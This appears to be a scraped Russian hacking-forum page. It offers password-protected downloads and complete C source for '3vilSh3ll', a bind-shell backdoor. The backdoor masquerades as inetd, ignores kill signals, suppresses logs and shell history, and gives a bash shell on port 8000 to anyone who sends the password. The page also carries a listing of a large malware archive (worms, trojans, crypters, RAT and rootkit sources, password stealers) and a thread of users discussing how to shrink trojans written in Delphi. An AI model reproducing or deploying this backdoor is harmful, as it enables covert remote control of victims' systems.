Скачать|Download
Скачать|Download
Пароль: 124145
Скачать|Download
Пароль: 555417
Скачать|Download
Пароль: 872124
Пароль: 138257
Скачать|Download/*
------------------------------------
- BACKDOOR BIND CONNECT -
------------------------------------
Author info :
Code : Simpp
Contact : somebody
For : # Bad Digites Team #
Link : http://www.magichack.powa.fr/board
Why : Just for fun
Programm's info :
name :
3vilSh3ll
Compile :
gcc -g -W -Wall -Wextra -o backdoor 3vilSh3ll.c
client :
Netcat
description :
Simple backdoor bind connect .
change the name procecus for SPOILER the command ps .
ignore signal SIGTERM SIGINT SIGQUIT for don't stop the backdoor .
redirect stderr in /dev/null for discret .
create procecus child for execute the evil code .
need passwd for connect backdoor .
redirect bash history (HISTFILE) in /dev/null for the new shell .
redirect stdout , stdin in socket client .
*/
/**** header ****/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
/**** config ****/
#define SPOILER "/usr/sbin/inetd"
#define PORT 8000
#define ACL "\n\tBind Banckdoor by Simpp\n\tFor : # Bad Digites Team #\n\nPasswd : "
#define MAGIC_OK "Passwd accpet connect ...\n"
#define MAGIC_NO "Passwd error connect failed ...\n"
#define MAGIC_KEY "hacked"
#define NULL_LOG "/dev/null"
#define VAR "HISTFILE=/dev/null"
#define CMD "/bin/bash"
/**** structure socket ****/
typedef struct _socket_client_s {
int socket_cli;
struct sockaddr_in from;
socklen_t fromlen;
} socket_client_t;
typedef struct _socket_server_s {
int socket_serv;
struct sockaddr_in addr;
} socket_server_t;
/**** prototype fonction socket server ****/
int socket_server_new(socket_server_t *server);
int socket_server_bind(socket_server_t *server);
int socket_server_listen(socket_server_t *server);
int socket_server_accept_client(socket_server_t *server, socket_client_t *client);
void socket_server_free(socket_server_t *server);
/**** prototype fonction socket client ****/
int socket_client_send(int socket_cli, const char *txt);
int socket_client_recv(int socket_cli, char **buff);
int socket_client_connect_dup2(int socket);
void socket_client_free(socket_client_t *client);
/**** prototype fonction else;) ****/
void hidden_process(char *argv[]);
void ignore_signal(void);
void clean_log(void);
int redirect_bash_history(void);
int child(void);
void client_fonction(socket_server_t *server);
int check_client(int socket_cli);
int check_passwd(char *pass);
/**** main programm's ****/
int main(int argc, char *argv[])
{
(void) argc;
(void) argv;
pid_t pid;
hidden_process(argv);
clean_log();
ignore_signal();
pid = fork();
if ( pid == -1 ) {
printf("fork() failed\n");
return EXIT_FAILURE;
}
if ( pid )
exit(0);
if ( !pid ) {
if ( child() == -1 )
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
/**** fonction socket server ****/
int
socket_server_new(socket_server_t *server)
{
server->socket_serv = socket(AF_INET, SOCK_STREAM, 0);
if ( server->socket_serv == -1 )
return -1;
server->addr.sin_family = AF_INET;
server->addr.sin_port = htons(PORT);
server->addr.sin_addr.s_addr = INADDR_ANY;
return 0;
}
int
socket_server_bind(socket_server_t *server)
{
int ret;
ret = bind(server->socket_serv, (struct sockaddr *)&server->addr, sizeof(server->addr));
if ( ret == -1 )
return -1;
return 0;
}
int
socket_server_listen(socket_server_t *server)
{
int ret;
ret = listen(server->socket_serv, 10000);
if ( ret == -1 )
return -1;
return 0;
}
int
socket_server_accept_client(socket_server_t *server, socket_client_t *client)
{
client->fromlen = sizeof(struct sockaddr);
client->socket_cli = accept(server->socket_serv, (struct sockaddr *)&client->from, &client->fromlen);
if ( client->socket_cli == -1 )
return -1;
return 0;
}
void
socket_server_free(socket_server_t *server)
{
if ( server != NULL ) {
if ( server->socket_serv != -1 )
close(server->socket_serv);
free(server);
server = NULL;
}
}
/*************************************************************/
/**** fonction socket client ****/
int
socket_client_send(int socket_cli, const char *txt)
{
int ret;
ret = write(socket_cli, txt , strlen(txt));
if ( ret == -1 )
return -1;
return 0;
}
int
socket_client_recv(int socket_cli, char **buff)
{
int ret;
memset(*buff, 0, 50);
ret = read(socket_cli, *buff, 50);
if ( ret == -1 )
return -1;
return 0;
}
int
socket_client_connect_dup2(int socket)
{
int ret1, ret2;
close(0);
close(1);
ret1 = dup2(socket, 0);
ret2 = dup2(socket, 1);
if ( ret1 == -1 || ret2 == -1 )
return -1;
return 0;
}
void
socket_client_free(socket_client_t *client)
{
if ( client != NULL ) {
if ( client->socket_cli != -1 )
close(client->socket_cli);
free(client);
client = NULL;
}
}
/*************************************************************/
/**** fonction else ****/
void
hidden_process(char *argv[])
{
strcpy(argv[0], SPOILER);
}
void
clean_log(void)
{
int log;
close(2);
close(3);
log = open(NULL_LOG, O_WRONLY);
dup2(log, 2);
dup2(log, 3);
close(log);
}
void
ignore_signal(void)
{
signal(SIGQUIT, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGINT, SIG_IGN);
}
int
redirect_bash_history(void)
{
if ( putenv(VAR) == -1 )
return -1;
return 0;
}
int
child(void)
{
socket_server_t *server = malloc(sizeof(socket_server_t));
if ( server == NULL ) {
printf("malloc *server failed\n");
return -1;
}
if ( socket_server_new(server) == -1 ) {
printf("create new socket server failed\n");
return -1;
}
if ( socket_server_bind(server) == -1 ) {
printf("socket server bind failed\n");
return -1;
}
if ( socket_server_listen(server) == -1 ) {
printf("socket sever listen failed\n");
return -1;
}
if ( redirect_bash_history() == -1 )
printf("redirect HISTFILE on /dev/null failed\n");
while ( 1 ) {
client_fonction(server);
}
socket_server_free(server);
}
void
client_fonction(socket_server_t *server)
{
socket_client_t *client = malloc(sizeof(socket_client_t));
if ( client == NULL )
return;
if ( socket_server_accept_client(server, client) != -1 ) {
if ( check_client(client->socket_cli) != -1 ) {
if ( socket_client_connect_dup2(client->socket_cli) != -1 ) {
system(CMD);
}
}
}
socket_client_free(client);
}
int
check_client(int socket_cli)
{
char *passwd = malloc(50 * sizeof(char));
if ( passwd == NULL )
return -1;
if ( socket_client_send(socket_cli, ACL) == -1 )
return -1;
if ( socket_client_recv(socket_cli, &passwd) == -1 )
return -1;
if ( check_passwd(passwd) == -1 ) {
if ( socket_client_send(socket_cli, MAGIC_NO) == -1 )
return -1;
return -1;
}
else {
if ( socket_client_send(socket_cli, MAGIC_OK) == -1 )
return -1;
}
free(passwd);
passwd = NULL;
return 0;
}
int
check_passwd(char *pass)
{
char *buff = NULL;
buff = strtok(pass, "\n");
if ( !strcmp(MAGIC_KEY, buff) )
return 0;
else
return -1;
}
/*************************************************************/
/*####################### END #######################*/
16.09.2008 18:58 <DIR> .
16.09.2008 18:58 <DIR> ..
16.09.2008 18:52 <DIR> 1
16.09.2008 18:55 <DIR> 10
16.09.2008 18:55 <DIR> 11
16.09.2008 18:55 <DIR> 12
16.09.2008 18:52 <DIR> 2
16.09.2008 18:54 <DIR> 3
16.09.2008 18:54 <DIR> 4
16.09.2008 18:54 <DIR> 5
16.09.2008 18:54 <DIR> 6
16.09.2008 18:54 <DIR> 7
16.09.2008 18:54 <DIR> 8
16.09.2008 18:55 <DIR> 9
24.05.2005 20:14 293 107 Backdoor.Metarage.10.rar
23.10.2006 18:20 614 271 Backdoor.Win32.Bizac.a.rar
24.05.2005 20:35 945 326 Backdoor.Win32.Gobot.ad.rar
16.09.2008 18:56 <DIR> crypter
04.06.2005 15:18 79 586 Email-Worm.Win32.Canbis.a.rar
24.05.2005 20:16 65 407 Email-Worm.Win32.Cissi.zip
24.05.2005 20:16 28 523 Email-Worm.Win32.Delanab.rar
24.05.2005 20:17 18 369 Email-Worm.Win32.Delf.a.rar
06.09.2004 13:15 7 946 Email-Worm.Win32.Delf.d.zip
19.09.2004 23:57 17 341 Email-Worm.Win32.Delf.e.rar
24.12.2004 19:04 366 861 Email-Worm.Win32.Delf.h.rar
20.03.2005 11:23 68 909 Email-Worm.Win32.Delf.l (1).rar
23.03.2005 21:31 72 662 Email-Worm.Win32.Delf.l (2).rar
23.10.2006 18:21 57 101 Email-Worm.Win32.Delf.l.rar
24.05.2005 20:17 4 493 Email-Worm.Win32.Dexter.rar
24.05.2005 20:17 35 128 Email-Worm.Win32.Dixie.rar
24.05.2005 20:17 4 730 176 Email-Worm.Win32.Fearso.c.rar
24.05.2005 20:18 18 482 Email-Worm.Win32.Keco.a.rar
24.05.2005 20:18 24 529 Email-Worm.Win32.Keco.f.zip
24.05.2005 20:18 29 251 Email-Worm.Win32.Kitro.c.zip
24.05.2005 20:19 286 443 Email-Worm.Win32.Kitro.e.zip
20.03.2005 11:23 101 272 Email-Worm.Win32.Krepper.b (1).rar
23.03.2005 21:31 102 549 Email-Worm.Win32.Krepper.b (2).rar
20.03.2005 11:23 101 272 Email-Worm.Win32.Krepper.b.rar
15.02.2005 21:10 42 192 Email-Worm.Win32.Lacrow.b.rar
23.03.2005 21:31 49 363 Email-Worm.Win32.Lacrow.c.rar
24.05.2005 20:19 45 133 Email-Worm.Win32.Lacrow.rar
24.05.2005 20:20 14 753 Email-Worm.Win32.Lacrow.zip
24.05.2005 20:21 54 963 Email-Worm.Win32.LunarStorm.a.rar
24.05.2005 20:22 54 308 Email-Worm.Win32.LunarStorm.b.rar
24.05.2005 20:22 51 733 Email-Worm.Win32.LunarStorm.c.rar
15.02.2005 21:10 58 928 Email-Worm.Win32.LunarStorm.e.rar
23.03.2005 21:31 51 999 Email-Worm.Win32.LunarStorm.f.rar
24.05.2005 20:23 13 269 Email-Worm.Win32.LunaStorm.zip
24.05.2005 20:23 46 307 Email-Worm.Win32.Mapson.rar
20.03.2005 11:23 68 909 Email-Worm.Win32.Niga.b.rar
23.03.2005 21:31 72 662 Email-Worm.Win32.Niga.c.rar
24.05.2005 20:23 1 422 571 Email-Worm.Win32.Pluto.rar
24.05.2005 20:23 313 790 Email-Worm.Win32.Poffer.c.rar
24.05.2005 20:24 343 350 Email-Worm.Win32.Poffer.c.zip
24.05.2005 20:24 33 658 Email-Worm.Win32.Poo.rar
24.05.2005 20:24 28 092 Email-Worm.Win32.Retaner.rar
24.05.2005 20:24 27 561 Email-Worm.Win32.Ronoper.rar
24.05.2005 20:24 55 583 Email-Worm.Win32.Seltorn.rar
24.05.2005 20:24 892 Email-Worm.Win32.Serab.rar
24.05.2005 20:25 56 986 Email-Worm.Win32.Sowsat.rar
24.05.2005 20:25 225 813 Email-Worm.Win32.Trance.a.rar
15.02.2005 21:09 24 653 Email-Worm.Win32.Wozer.c (2).rar
24.05.2005 20:25 20 152 Email-Worm.Win32.Wozer.c.rar
24.05.2005 20:26 39 687 Email-Worm.Win32.Wozer.e.rar
24.05.2005 20:26 63 713 Email-Worm.Win32.Wozer.g.rar
24.05.2005 20:26 9 633 Email-Worm.Win32.ZippedFiles.rar
24.05.2005 20:25 26 035 Email-Worm.Wozer.c.zip
16.09.2008 18:56 <DIR> FileCrypter
10.09.2008 18:16 11 293 Firefox3passSrc.rar
05.09.2004 12:49 9 219 friendlytear.code.zip
06.09.2004 13:15 7 946 I-Worm.Delf.d.zip
19.09.2004 23:57 17 341 I-Worm.Delf.e.zip
24.05.2005 20:20 9 258 I-Worm.LOA.zip
24.05.2005 20:23 44 784 I-Worm.LunarStorm.rar
11.09.2008 20:07 9 590 MSN Passwords.zip
05.02.2005 14:40 183 327 P2P-Worm.Win32.Delf.af.rar
04.06.2005 15:51 45 045 P2P-Worm.Win32.Delf.ak (2).rar
04.06.2005 14:58 3 759 P2P-Worm.Win32.Delf.ak.rar
23.10.2006 18:21 26 091 P2P-Worm.Win32.Delf.al.rar
23.10.2006 18:21 242 002 P2P-Worm.Win32.Delf.u.rar
05.02.2005 14:45 777 704 P2P-Worm.Win32.Delf.v.rar
04.06.2005 14:58 226 518 P2P-Worm.Win32.Gedza.b.rar
23.10.2006 18:21 61 469 P2P-Worm.Win32.Gedza.c.rar
23.10.2006 18:21 53 879 P2P-Worm.Win32.Gedza.d.rar
24.05.2005 20:30 1 785 559 P2P-Worm.Win32.G_Spot.c.rar
24.05.2005 20:32 1 471 P2P-Worm.Win32.Migls.rar
24.05.2005 20:32 3 929 P2P-Worm.Win32.Milcan.rar
24.05.2005 20:32 409 529 P2P-Worm.Win32.Minirow.rar
24.05.2005 20:32 14 642 P2P-Worm.Win32.Niklas.c.rar
24.05.2005 20:32 15 704 P2P-Worm.Win32.Niklas.d.rar
24.05.2005 20:33 5 267 P2P-Worm.Win32.Niklas.w.rar
24.05.2005 20:32 22 360 P2P-Worm.Win32.Niklas.w.zip
24.05.2005 20:33 316 904 P2P-Worm.Win32.Poffer.a.rar
24.05.2005 20:33 27 304 P2P-Worm.Win32.Sambud.rar
24.05.2005 20:33 1 458 P2P-Worm.Win32.Spear.rar
24.05.2005 20:33 3 218 P2P-Worm.Win32.Sytro.rar
24.05.2005 20:26 14 261 Trojan-Dropper.Win32.Delf.cc.rar
24.05.2005 20:27 33 524 Trojan-Dropper.Win32.Fesber.rar
05.02.2005 14:45 103 220 Trojan.Win32.Delf.dp.rar
23.10.2006 18:21 346 590 Trojan.Win32.Delf.ji.1.rar
23.10.2006 18:22 174 599 Trojan.Win32.Delf.ji.2.rar
23.10.2006 18:22 216 937 Trojan.Win32.Delf.jj.rar
23.10.2006 18:22 200 881 Trojan.Win32.Delf.kj.rar
20.03.2005 11:23 544 361 Trojan.Win32.KillFiles.hf.rar
24.05.2005 20:27 4 880 TrojanDropper.Win32.Delf.cc.zip
16.09.2008 18:57 <DIR> UndergroundCrypter_src_Delphi_
24.05.2005 20:35 6 623 Virus.DOS.HLLP.Yap.8421.zip
23.10.2006 18:22 45 508 Virus.Win32.Canbis.a.1.rar
23.10.2006 18:22 76 542 Virus.Win32.Canbis.a.2.rar
04.06.2005 15:15 47 072 Virus.Win32.Canbis.a.rar
30.12.2004 11:05 2 474 656 Virus.Win32.Delf.b.rar
24.05.2005 20:27 59 590 Virus.Win32.HLL.Fugo.rar
24.05.2005 20:27 742 923 Virus.Win32.HLLO.Momac.a.rar
24.05.2005 20:28 854 272 Virus.Win32.HLLO.Momac.b.rar
23.03.2005 21:31 51 596 Virus.Win32.HLLP.Bizac.d.rar
23.03.2005 21:31 561 518 Virus.Win32.HLLP.Delf.e.rar
24.05.2005 20:28 506 640 Virus.Win32.HLLP.Hantaner.b.rar
24.05.2005 20:29 19 319 Virus.Win32.HLLP.Stagol.a.rar
24.05.2005 20:29 61 858 Virus.Win32.HLLW.Delf.e.rar
28.08.2004 23:40 15 882 Virus.Win32.HLLW.Delf.k.rar
28.08.2004 23:50 16 780 Virus.Win32.HLLW.Delf.l.rar
23.03.2005 21:31 24 425 Virus.Win32.HLLW.Delf.q.rar
04.06.2005 14:58 30 589 Virus.Win32.HLLW.Munter.a (2).rar
17.10.2004 03:07 67 530 Virus.Win32.HLLW.Munter.a.rar
04.06.2005 14:59 61 781 Virus.Win32.HLLW.Munter.b (2).rar
17.10.2004 03:07 28 619 Virus.Win32.HLLW.Munter.b.rar
24.05.2005 20:29 27 122 Virus.Win32.HLLW.Randir.rar
28.08.2004 23:40 15 882 Win32.HLLW.Delf.k.rar
28.08.2004 23:50 16 780 Win32.HLLW.Delf.l.rar
17.10.2004 03:07 67 530 Win32.HLLW.Munter.a.rar
17.10.2004 03:07 28 619 Win32.HLLW.Munter.b.rar
14.12.2004 21:35 239 686 Worm.P2P.Delf.j.rar
05.02.2005 14:45 777 704 Worm.P2P.Delf.v.rar
24.05.2005 20:30 258 295 Worm.P2P.Google.rar
24.05.2005 20:30 255 712 Worm.P2P.Halloween.rar
24.05.2005 20:30 13 245 Worm.P2P.Kazaa.rar
24.05.2005 20:30 4 684 Worm.P2P.KM.rar
24.05.2005 20:32 13 257 Worm.P2P.Morpheus.rar
24.05.2005 20:33 28 470 Worm.P2P.Positron.rar
04.06.2005 15:51 27 276 Worm.Win32.Dccorm.a (2).rar
20.03.2005 11:23 535 115 Worm.Win32.Dccorm.a.rar
23.03.2005 21:31 553 916 Worm.Win32.Dccorm.b.rar
24.05.2005 20:35 320 281 Worm.Win32.Deborm.af.rar
19.09.2004 23:58 11 738 Worm.Win32.Delf.c.zip
14.12.2004 21:35 239 686 Worm.Win32.Delf.j.rar
23.10.2006 18:22 39 930 Worm.Win32.Delf.r.rar
23.10.2006 18:22 17 954 Worm.Win32.Delf.t.rar
24.05.2005 20:33 23 963 Worm.Win32.Doomer.g.rar
24.05.2005 20:34 39 412 Worm.Win32.Duster.b.rar
24.05.2005 20:34 6 462 Worm.Win32.Duster.zip
24.05.2005 20:34 69 350 Worm.Win32.Fesber.b.rar
24.05.2005 20:34 46 960 Worm.Win32.Fesber.rar
24.05.2005 20:35 20 104 Worm.Win32.Fesber.zip
24.05.2005 20:35 189 975 Worm.Win32.Lovesan.c.rar
05.02.2005 14:45 47 881 Worm.Win32.Lunor.a.rar
24.05.2005 20:35 18 651 Worm.Win32.Mincer.rar
20.03.2005 11:23 14 182 Worm.Win32.Niklas.b.rar
15.02.2005 21:09 37 564 Worm.Win32.Onver (2).rar
15.02.2005 21:09 37 564 Worm.Win32.Onver.rar
24.05.2005 20:35 1 002 327 Worm.Win32.Relayer.d.rar
24.05.2005 20:35 8 123 WormGen 1.0.zip
24.05.2005 20:35 85 336 WormGen 2.0.zip
24.05.2005 20:35 89 982 WormGen 2.1.zip
16.09.2008 18:47 <DIR> [FIREWALL BYPASS DELPHI] Fwk delphi source s
rc
16.09.2008 18:47 <DIR> [FIREWALL_BYPASS-DELPHI]-Fwk-delphi-src
16.09.2008 18:47 <DIR> [RAT-DELPHI]-Darkmoon-V4.11-Private-SRC(7)
16.09.2008 18:47 <DIR> [ROOTKIT-PASCAL.C.C++]-Hxdef-100-src
Во-первых, трой на делфи это уже не трой а гавно.Друг пишет вирь на Делфи, а как можно уменьшить розмери проги, а то пустая форма, при компиляции уже занимает около 400 кб(((
ммм классно же, я вот например без должных знаний не могу ничего начать.Друг пишет вирь на Делфи, а как можно уменьшить розмери проги, а то пустая форма, при компиляции уже занимает около 400 кб(((
не, ну если без вцл и прочих высокоуровневых компонентов, то килобайт в 50 вполне можно уложиться.Во-первых, трой на делфи это уже не трой а гавно.
Во-вторых, пусть в свойствах проекта уберает не нужные вцлки, размер будет в 10 раз меньше
В школах не учатинтересно чем си посложнее дельфи ?
Если это мне было сказано, то я 2 или уже 3 года назад успешно делал трои и знал как делфи так и си не хуже вашегоДля того, чтобы говорить, что трой на дельфи говно, надо иметь в этом опыт.
Я тоже первым делфи изучил, потом на си перешёл, а параллельно в колледже тогда тока вб преподавали, поэтому и то и то приходилось практиковать, всё они как 2 капли воды, тока синтаксис разныйваще у меня знакомый с дельфи на си перешол и ниче пишет нормально, но дельфи все же продолжает защищать![]()
интересно посмотреть как ты из говна конфету будешь лепить, а потом как эту конфету есть ;D
ваще у меня знакомый с дельфи на си перешол и ниче пишет нормально, но дельфи все же продолжает защищать![]()